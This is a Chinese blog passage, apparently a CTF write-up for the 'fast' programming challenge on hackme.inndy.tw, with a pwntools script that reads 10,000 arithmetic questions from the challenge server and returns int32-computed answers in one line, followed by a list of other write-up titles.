當然不可能手動計算後輸入，這邊使用 python 的 pwntools 套件來完成。
- 接收題目 -> 字串解析 -> 計算答案 -> 回傳。
麻煩的是我一開始也一直錯誤，後來受不了 google 了一些提示後發現：
1. 回傳時用空格隔開並一次回傳，不能用換行隔開
2. 使用 int32 範圍計算
  - 這些其實我沒驗證，不過一開始偷懶直接用sendline(eval(XXX))的方式是失敗的。
以下參考用 code

































from pwn import *
from numpy import int32

# nc the server
r = remote('hackme.inndy.tw', 7707)
print(r.recvline())
print(r.recvline())
print(r.recvline())
r.sendline('Yes I know')

# get questions
q_list = []
for i in range(10000):
    q_list.append(r.recvline()[:-5].split())

# compute anwsers
ans = ''
for q in q_list:
    n1, op, n2 = q
    if(op == b'+'):
        a = str(int32(int(n1)) + int32(int(n2)))
    elif(op == b'-'):
        a = str(int32(int(n1)) - int32(int(n2)))
    elif(op == b'*'):
        a = str(int32(int(n1)) * int32(int(n2)))
    elif(op == b'/'):
        a = str(int(float(n1) / float(n2)))
    print(a)
    ans += a + ' '

# return anwsers and get flag
r.sendline(ans)
r.interactive()

Hackme CTF write-up

目錄

Misc

#1 flag

#2 corgi can fly

#3 television

#4 meow

#5 where is flag

#6 encoder

#7 slow

#8 pusheen.txt

#13 BZBZ

Web

#15 hide and seek

#16 guestbook

#17 LFI

#18 homepage

#19 ping

#20 scoreboard

#21 login as admin 0

#22 login as admin 0.1

#23 login as admin 1

#38 xssme

Reversing

#41 helloworld

#42 simple

#43 passthis

#44 pyyy

#45 accumulator

Pwn

#57 catflag

Crypto

#81 easy

#82 r u kidding

#83 not hard

#84 classic cipher 1

#85 classic cipher 2

#86 easy AES

Programming

#97 fast

tags: CTF

Read more

【LeetCode】目錄

【LeetCode】1846. Maximum Element After Decreasing and Rearranging

【LeetCode】1759. Count Number of Homogenous Substrings

【LeetCode】1319. Number of Operations to Make Network Connected

tags: `CTF`